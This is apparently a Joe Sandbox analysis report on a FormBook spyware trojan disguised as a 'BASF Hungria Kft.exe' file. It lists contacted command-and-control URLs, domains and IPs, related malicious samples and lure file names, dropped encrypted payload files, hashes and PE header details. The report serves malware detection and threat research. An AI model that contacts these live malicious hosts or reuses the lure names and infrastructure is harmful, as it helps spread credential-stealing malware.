                                                https://zkdamdjj.shop/kf1m/?XHa8pH8=gD/FPiA75bYZCbZAYB/YrW9xurwFI/r4HqBHW8I3ROCRLWAZDr.exe, 00000003.00000002.3557262853.0000000006FA2000.00000004.80000000.00040000.00000000.sdmp, mobsync.exe, 00000004.00000002.3554100696.00000000060F2000.00000004.10000000.00040000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=mobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=mobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://www.ecosia.org/newtab/mobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://www.brightvision.websiteROCRLWAZDr.exe, 00000003.00000002.3558620586.000000000857F000.00000040.80000000.00040000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://ac.ecosia.org/autocomplete?q=mobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        http://www.thinkphp.cnROCRLWAZDr.exe, 00000003.00000002.3557262853.0000000006AEC000.00000004.80000000.00040000.00000000.sdmp, mobsync.exe, 00000004.00000002.3554100696.0000000005C3C000.00000004.10000000.00040000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchmobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://aballanet.cat/6xrr/?XHa8pH8=HxJAUmNG5aROCRLWAZDr.exe, 00000003.00000002.3557262853.0000000006636000.00000004.80000000.00040000.00000000.sdmp, mobsync.exe, 00000004.00000002.3554100696.0000000005786000.00000004.10000000.00040000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=mobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://www.canadavinreport.site/g3h7/?XHa8pH8=dyqWmobsync.exe, 00000004.00000002.3555484946.0000000007910000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown

                                                            World Map of Contacted IPs

                                                            • No. of IPs < 25%
                                                            • 25% < No. of IPs < 50%
                                                            • 50% < No. of IPs < 75%
                                                            • 75% < No. of IPs

                                                            Public IPs

                                                            IPDomainCountryFlagASNASN NameMalicious
                                                            45.141.156.114
                                                            		logidant.xyzGermany
                                                            		30860YURTEH-ASUAtrue
                                                            106.15.109.33
                                                            		www.yunlekeji.topChina
                                                            		37963CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtdfalse
                                                            13.248.169.48
                                                            		www.tals.xyzUnited States
                                                            		16509AMAZON-02USfalse
                                                            104.21.40.167
                                                            		www.zkdamdjj.shopUnited States
                                                            		13335CLOUDFLARENETUSfalse
                                                            203.161.42.73
                                                            		www.brightvision.websiteMalaysia
                                                            		45899VNPT-AS-VNVNPTCorpVNfalse
                                                            15.204.67.7
                                                            		www.madhf.techUnited States
                                                            		71HP-INTERNET-ASUSfalse
                                                            27.124.4.246
                                                            		r0lqcud7.nbnnn.xyzSingapore
                                                            		64050BCPL-SGBGPNETGlobalASNSGfalse
                                                            185.27.134.206
                                                            		www.canadavinreport.siteUnited Kingdom
                                                            		34119WILDCARD-ASWildcardUKLimitedGBfalse
                                                            172.67.186.192
                                                            		www.izmirescortg.xyzUnited States
                                                            		13335CLOUDFLARENETUStrue
                                                            134.0.14.158
                                                            		aballanet.catSpain
                                                            		197712CDMONsistemescdmoncomEStrue

                                                            General Information

                                                            Joe Sandbox version:41.0.0 Charoite
                                                            Analysis ID:1565280
                                                            Start date and time:2024-11-29 15:10:19 +01:00
                                                            Joe Sandbox product:CloudBasic
                                                            Overall analysis duration:0h 8m 44s
                                                            Hypervisor based Inspection enabled:false
                                                            Report type:full
                                                            Cookbook file name:default.jbs
                                                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                            Run name:Run with higher sleep bypass
                                                            Number of analysed new started processes analysed:8
                                                            Number of new started drivers analysed:0
                                                            Number of existing processes analysed:0
                                                            Number of existing drivers analysed:0
                                                            Number of injected processes analysed:1
                                                            Technologies:
                                                            • HCA enabled
                                                            • EGA enabled
                                                            • AMSI enabled
                                                            Analysis Mode:default
                                                            Analysis stop reason:Timeout
                                                            Sample name:BASF Hung#U00e1ria Kft.exe
                                                            renamed because original name is a hash value
                                                            Original Sample Name:BASF Hungria Kft.exe
                                                            Detection:MAL
                                                            Classification:mal100.troj.spyw.evad.winEXE@7/3@14/10
                                                            EGA Information:
                                                            • Successful, ratio: 100%
                                                            HCA Information:
                                                            • Successful, ratio: 98%
                                                            • Number of executed functions: 50
                                                            • Number of non-executed functions: 280
                                                            Cookbook Comments:
                                                            • Found application associated with file extension: .exe
                                                            • Sleeps bigger than 100000000ms are automatically reduced to 1000ms
                                                            • Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

                                                            Warnings

                                                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                                            • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                            • Not all processes where analyzed, report is missing behavior information
                                                            • Report creation exceeded maximum time and may have missing disassembly code information.
                                                            • Report size exceeded maximum capacity and may have missing disassembly code.
                                                            • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                            • VT rate limit hit for: BASF Hung#U00e1ria Kft.exe

                                                            Simulations

                                                            Behavior and APIs

                                                            ⊘No simulations

                                                            Joe Sandbox View / Context

                                                            IPs

                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                            45.141.156.114CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                            • www.logidant.xyz/ctvu/
                                                            CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                            • www.logidant.xyz/ctvu/
                                                            Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exeGet hashmaliciousFormBookBrowse
                                                            • www.logidant.xyz/iuvu/
                                                            CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                            • www.logidant.xyz/ctvu/
                                                            106.15.109.33Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exeGet hashmaliciousFormBookBrowse
                                                            • www.yunlekeji.top/t322/
                                                            13.248.169.48PAYMENT_ADVICE.exeGet hashmaliciousFormBookBrowse
                                                            • www.heliopsis.xyz/69zn/
                                                            1k24tbb-00241346.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                            • www.gupiao.bet/t3a1/
                                                            Documents.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                            • www.hasan.cloud/tur7/
                                                            CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                            • www.egyshare.xyz/lp5b/
                                                            attached order.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                            • www.aktmarket.xyz/wb7v/
                                                            file.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                            • www.gupiao.bet/t3a1/
                                                            DO-COSU6387686280.pdf.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                            • www.krshop.shop/grhe/
                                                            Fi#U015f.exeGet hashmaliciousFormBookBrowse
                                                            • www.a1shop.shop/5cnx/
                                                            ZAMOWIEN.BAT.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                            • www.tals.xyz/tj5o/
                                                            santi.exeGet hashmaliciousFormBookBrowse
                                                            • www.lirio.shop/qp0h/

                                                            Domains

                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                            www.yunlekeji.topThermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exeGet hashmaliciousFormBookBrowse
                                                            • 106.15.109.33
                                                            r0lqcud7.nbnnn.xyzspecifications.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                            • 23.225.159.42
                                                            OUTSTANDING BALANCE PAYMENT.exeGet hashmaliciousFormBookBrowse
                                                            • 202.79.161.151
                                                            ARRIVAL NOTICE.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                            • 202.79.161.151
                                                            OUTSTANDING BALANCE PAYMENT.exeGet hashmaliciousFormBookBrowse
                                                            • 27.124.4.246
                                                            REQUESTING FOR UPDATED SOA.exeGet hashmaliciousFormBookBrowse
                                                            • 23.225.160.132
                                                            PAYROLL LIST.exeGet hashmaliciousFormBookBrowse
                                                            • 23.225.160.132
                                                            purchase Order.exeGet hashmaliciousFormBookBrowse
                                                            • 27.124.4.246
                                                            Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exeGet hashmaliciousFormBookBrowse
                                                            • 202.79.161.151
                                                            RFQ 3100185 MAHAD.exeGet hashmaliciousFormBookBrowse
                                                            • 27.124.4.246
                                                            New Order - RCII900718_Contract Drafting.exeGet hashmaliciousFormBookBrowse
                                                            • 23.225.159.42
                                                            www.brightvision.websiteThermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exeGet hashmaliciousFormBookBrowse
                                                            • 203.161.42.73
                                                            www.izmirescortg.xyzIETC-24017.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                            • 172.67.186.192
                                                            file.exeGet hashmaliciousFormBookBrowse
                                                            • 172.67.186.192
                                                            Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exeGet hashmaliciousFormBookBrowse
                                                            • 104.21.36.62
                                                            www.madhf.techPurchase Order PO.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                            • 103.224.182.242
                                                            Payment_Confirmation_pdf.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                            • 103.224.182.242
                                                            PAYROLL LIST.exeGet hashmaliciousFormBookBrowse
                                                            • 103.224.182.242
                                                            Purchase Order PO.exeGet hashmaliciousFormBookBrowse
                                                            • 103.224.182.242
                                                            Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exeGet hashmaliciousFormBookBrowse
                                                            • 103.224.182.242
                                                            SWIFT COPY 0028_pdf.exeGet hashmaliciousFormBookBrowse
                                                            • 103.224.182.242
                                                            Item-RQF-9456786.exeGet hashmaliciousUnknownBrowse
                                                            • 103.224.182.242

                                                            ASNs

                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                            CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtdbotx.mpsl.elfGet hashmaliciousMiraiBrowse
                                                            • 47.114.228.141
                                                            botx.x86.elfGet hashmaliciousMiraiBrowse
                                                            • 8.130.169.118
                                                            loligang.sh4.elfGet hashmaliciousMiraiBrowse
                                                            • 120.55.59.134
                                                            loligang.spc.elfGet hashmaliciousMiraiBrowse
                                                            • 139.251.206.114
                                                            loligang.ppc.elfGet hashmaliciousMiraiBrowse
                                                            • 121.199.235.117
                                                            loligang.arm.elfGet hashmaliciousMiraiBrowse
                                                            • 120.26.229.48
                                                            loligang.spc.elfGet hashmaliciousMiraiBrowse
                                                            • 8.175.6.161
                                                            loligang.mpsl.elfGet hashmaliciousMiraiBrowse
                                                            • 8.190.111.197
                                                            loligang.mpsl-20241128-1536.elfGet hashmaliciousMiraiBrowse
                                                            • 120.79.229.209
                                                            m68k.elfGet hashmaliciousMirai, MoobotBrowse
                                                            • 139.252.5.44
                                                            AMAZON-02USphish_alert_sp2_2.0.0.0.emlGet hashmaliciousCredentialStealerBrowse
                                                            • 108.158.75.37
                                                            botx.arm6.elfGet hashmaliciousMiraiBrowse
                                                            • 18.248.37.111
                                                            botx.m68k.elfGet hashmaliciousMiraiBrowse
                                                            • 52.63.14.228
                                                            https://simplebooklet.comGet hashmaliciousUnknownBrowse
                                                            • 3.168.236.102
                                                            botx.spc.elfGet hashmaliciousMiraiBrowse
                                                            • 54.249.53.193
                                                            botx.ppc.elfGet hashmaliciousMiraiBrowse
                                                            • 13.243.84.132
                                                            https://zfrmz.com/T43PlTPOxp2IyD9DoPOmGet hashmaliciousUnknownBrowse
                                                            • 108.158.75.29
                                                            botx.mpsl.elfGet hashmaliciousMiraiBrowse
                                                            • 54.111.3.67
                                                            K6aOw2Jmji.exeGet hashmaliciousStealeriumBrowse
                                                            • 45.112.123.126
                                                            uyz4YPUyc9.exeGet hashmaliciousStealeriumBrowse
                                                            • 45.112.123.126
                                                            YURTEH-ASUACV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                            • 45.141.156.114
                                                            CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                            • 45.141.156.114
                                                            Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exeGet hashmaliciousFormBookBrowse
                                                            • 45.141.156.114
                                                            CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                            • 45.141.156.114
                                                            support.Client.exeGet hashmaliciousScreenConnect ToolBrowse
                                                            • 31.42.187.210
                                                            support.Client.exeGet hashmaliciousScreenConnect ToolBrowse
                                                            • 31.42.187.210
                                                            SI HE Voy - TC Relet 11.docx.scr.exeGet hashmaliciousAgentTeslaBrowse
                                                            • 152.89.61.240
                                                            MV ALEXOS_VESSEL'S DESC.docx.scr.exeGet hashmaliciousAgentTeslaBrowse
                                                            • 152.89.61.240
                                                            https://r2.ddlnk.net/c/AQj0-RUQuwkYipioASC0cRmrHeGLBOb7t9m7_CWaa81LkCY1aSe2ilmnvwK5PXzQGet hashmaliciousUnknownBrowse
                                                            • 152.89.61.240
                                                            https://campaign-statistics.com/link_click/OOIhh4OKHe_NcHPG/8cb76dcdebff138ed04c1331049114e6Get hashmaliciousUnknownBrowse
                                                            • 152.89.61.240

                                                            JA3 Fingerprints

                                                            ⊘No context

                                                            Dropped Files

                                                            ⊘No context

                                                            Created / dropped Files

                                                            C:\Users\user\AppData\Local\Temp\10O4645j

                                                            Download File
                                                            Process:C:\Windows\SysWOW64\mobsync.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Reputation:high, very likely benign file
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\autA792.tmp

                                                            Download File
                                                            Process:C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe
                                                            File Type:data
                                                            Category:dropped
                                                            Size (bytes):287232
                                                            Entropy (8bit):7.994911210090545
                                                            Encrypted:true
                                                            SSDEEP:6144:0fR+a18U13Bi8E0bC+BGyd2HNMfxFfY83C2LmWvZKIE7mcR:0fR5T1BgD+BG7tMfHfYt2LmWRPEScR
                                                            MD5:54653C9FB52A30BECB8976B0667D3E0D
                                                            SHA1:AE65A0592139E4D267BB4A6BE01258ADA61CA2DA
                                                            SHA-256:8B32DA8812A8FD797CE0A8C335D9335D1D72ECE73BF6412FE53D7F3AF2597DF8
                                                            SHA-512:8690BB4C49F51E3A85EB1A399E6E210867D260DC23969E034993E34BC23848367A12E2B8BB9BC35CE1D049EF4B499AC8BD050B651181E1EDCF3B126FCFE5A11E
                                                            Malicious:false
                                                            Reputation:low
                                                            Preview:...SV9WCVW8U..XL.4BPZNFS.9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BP.NFS[&.MR.1.i.Y....83=f#'V013:.6)<6#". 5z<3=uP9c..ku%=<)x9OZ~NFSU9WC+V1.u2?.kT%.g.!.O...h7_.R..jT%.@..iY0..>[=u2?.V4BPZNFS.|WC.V9U.z.,V4BPZNFS.9UBYV3UH.\LV4BPZNFS.-WCRG8UH2\LV4.PZ^FSU;WCTW8UHRXLP4BPZNFSUYSCRU8UHRXLT4..ZNVSU)WCRW(UHBXLV4BPJNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8Uf&=4"4BP..BSU)WCR.<UHBXLV4BPZNFSU9WCrW85HRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BP

                                                            C:\Users\user\AppData\Local\Temp\hepatoduodenostomy

                                                            Download File
                                                            Process:C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe
                                                            File Type:data
                                                            Category:dropped
                                                            Size (bytes):287232
                                                            Entropy (8bit):7.994911210090545
                                                            Encrypted:true
                                                            SSDEEP:6144:0fR+a18U13Bi8E0bC+BGyd2HNMfxFfY83C2LmWvZKIE7mcR:0fR5T1BgD+BG7tMfHfYt2LmWRPEScR
                                                            MD5:54653C9FB52A30BECB8976B0667D3E0D
                                                            SHA1:AE65A0592139E4D267BB4A6BE01258ADA61CA2DA
                                                            SHA-256:8B32DA8812A8FD797CE0A8C335D9335D1D72ECE73BF6412FE53D7F3AF2597DF8
                                                            SHA-512:8690BB4C49F51E3A85EB1A399E6E210867D260DC23969E034993E34BC23848367A12E2B8BB9BC35CE1D049EF4B499AC8BD050B651181E1EDCF3B126FCFE5A11E
                                                            Malicious:false
                                                            Preview:...SV9WCVW8U..XL.4BPZNFS.9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BP.NFS[&.MR.1.i.Y....83=f#'V013:.6)<6#". 5z<3=uP9c..ku%=<)x9OZ~NFSU9WC+V1.u2?.kT%.g.!.O...h7_.R..jT%.@..iY0..>[=u2?.V4BPZNFS.|WC.V9U.z.,V4BPZNFS.9UBYV3UH.\LV4BPZNFS.-WCRG8UH2\LV4.PZ^FSU;WCTW8UHRXLP4BPZNFSUYSCRU8UHRXLT4..ZNVSU)WCRW(UHBXLV4BPJNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8Uf&=4"4BP..BSU)WCR.<UHBXLV4BPZNFSU9WCrW85HRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BPZNFSU9WCRW8UHRXLV4BP

                                                            Static File Info

                                                            General

                                                            File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                            Entropy (8bit):7.189583777100762
                                                            TrID:
                                                            • Win32 Executable (generic) a (10002005/4) 99.96%
                                                            • Generic Win/DOS Executable (2004/3) 0.02%
                                                            • DOS Executable Generic (2002/1) 0.02%
                                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                            File name:BASF Hung#U00e1ria Kft.exe
                                                            File size:1'207'296 bytes
                                                            MD5:27925247ca8e5c34b7e47d807b56bf66
                                                            SHA1:dbe81d05e00ffe4e7937b7ffe7efe1b2ca82f703
                                                            SHA256:1f70b8eafe372bef9cf9923565ab2763565b63e74a1759bcefad45d3bb9c6d18
                                                            SHA512:eebd100e6a3ad4e449c1dfe7392ebe02bca6a6d7b4a2981dd486195b462cb2f764f13210579fa573eef06105a64d33385183b28fa5db0758d10cddd1a7aae7bc
                                                            SSDEEP:24576:+u6J33O0c+JY5UZ+XC0kGso6FaBodorKvacvpVHzssoWY:Qu0c++OCvkGs9FaBoTPHzsWY
                                                            TLSH:9945BF2273DDC360CB669173BF6AB7016EBF3C614630B85B2F980D7DA950161262D7A3
                                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

                                                            File Icon

                                                            Icon Hash:aaf3e3e3938382a0

                                                            Static PE Info

                                                            General

                                                            Entrypoint:0x427dcd
                                                            Entrypoint Section:.text
                                                            Digitally signed:false
                                                            Imagebase:0x400000
                                                            Subsystem:windows gui
                                                            Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                            DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                                            Time Stamp:0x6749AF07 [Fri Nov 29 12:09:43 2024 UTC]
                                                            TLS Callbacks:
                                                            CLR (.Net) Version:
                                                            OS Version Major:5
                                                            OS Version Minor:1
                                                            File Version Major:5
                                                            File Version Minor:1
                                                            Subsystem Version Major:5
                                                            Subsystem Version Minor:1
                                                            Import Hash:afcdf79be1557326c854b6e20cb900a7

                                                            Entrypoint Preview

                                                            Instruction
                                                            call 00007FE23914DE1Ah
                                                            jmp 00007FE239140BE4h
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            push edi
                                                            push esi
                                                            mov esi, dword ptr [esp+10h]
                                                            mov ecx, dword ptr [esp+14h]
                                                            mov edi, dword ptr [esp+0Ch]
                                                            mov eax, ecx
                                                            mov edx, ecx
                                                            add eax, esi
                                                            cmp edi, esi
                                                            jbe 00007FE239140D6Ah
                                                            cmp edi, eax
                                                            jc 00007FE2391410CEh
                                                            bt dword ptr [004C31FCh], 01h
                                                            jnc 00007FE239140D69h
                                                            rep movsb
                                                            jmp 00007FE23914107Ch
                                                            cmp ecx, 00000080h
                                                            jc 00007FE239140F34h
                                                            mov eax, edi
                                                            xor eax, esi
                                                            test eax, 0000000Fh
                                                            jne 00007FE239140D70h
                                                            bt dword ptr [004BE324h], 01h
                                                            jc 00007FE239141240h
                                                            bt dword ptr [004C31FCh], 00000000h
                                                            jnc 00007FE239140F0Dh
                                                            test edi, 00000003h
                                                            jne 00007FE239140F1Eh
                                                            test esi, 00000003h
                                                            jne 00007FE239140EFDh
                                                            bt edi, 02h
                                                            jnc 00007FE239140D6Fh
                                                            mov eax, dword ptr [esi]
                                                            sub ecx, 04h
                                                            lea esi, dword ptr [esi+04h]
                                                            mov dword ptr [edi], eax
                                                            lea edi, dword ptr [edi+04h]
                                                            bt edi, 03h
                                                            jnc 00007FE239140D73h
                                                            movq xmm1, qword ptr [esi]
                                                            sub ecx, 08h
                                                            lea esi, dword ptr [esi+08h]
                                                            movq qword ptr [edi], xmm1
                                                            lea edi, dword ptr [edi+08h]
                                                            test esi, 00000007h
                                                            je 00007FE239140DC5h
                                                            bt esi, 03h
                                                            jnc 00007FE239140E18h

                                                            Rich Headers

                                                            Programming Language:
                                                            • [ASM] VS2013 build 21005
                                                            • [ C ] VS2013 build 21005
                                                            • [C++] VS2013 build 21005
                                                            • [ C ] VS2008 SP1 build 30729
                                                            • [IMP] VS2008 SP1 build 30729
                                                            • [ASM] VS2013 UPD4 build 31101
                                                            • [RES] VS2013 build 21005
                                                            • [LNK] VS2013 UPD4 build 31101

                                                            Data Directories

                                                            NameVirtual AddressVirtual Size Is in Section
                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0xba44c0x17c.rdata
                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0xc70000x5e27c.rsrc
                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x1260000x711c.reloc
                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x92bc00x1c.rdata
                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xa48700x40.rdata
                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_IAT0x8f0000x884.rdata
                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                            Sections

                                                            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                            .text0x10000x8dcc40x8de00d28a820a1d9ff26cda02d12b888ba4b4False0.5728679102422908data6.676118058520316IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                            .rdata0x8f0000x2e10e0x2e20079b14b254506b0dbc8cd0ad67fb70ad9False0.33535526761517614OpenPGP Public Key5.76010872795207IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                            .data0xbe0000x8f740x52009f9d6f746f1a415a63de45f8b7983d33False0.1017530487804878data1.198745897703538IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                            .rsrc0xc70000x5e27c0x5e4009a85a469b27ba64505a7348f031e352bFalse0.9299284026856764data7.899875892504205IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                            .reloc0x1260000x711c0x72006fcae3cbbf6bfbabf5ec5bbe7cf612c3False0.7650767543859649data6.779031650454199IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                            Resources

                                                            NameRVASizeTypeLanguageCountryZLIB Complexity
                                                            RT_ICON0xc75a80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                                            RT_ICON0xc76d00x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                                            RT_ICON0xc77f80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                            RT_ICON0xc79200x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 0EnglishGreat Britain0.3333333333333333
                                                            RT_ICON0xc7c080x128Device independent bitmap graphic, 16 x 32 x 4, image size 0EnglishGreat Britain0.5
                                                            RT_ICON0xc7d300xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishGreat Britain0.2835820895522388
                                                            RT_ICON0xc8bd80x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishGreat Britain0.37906137184115524
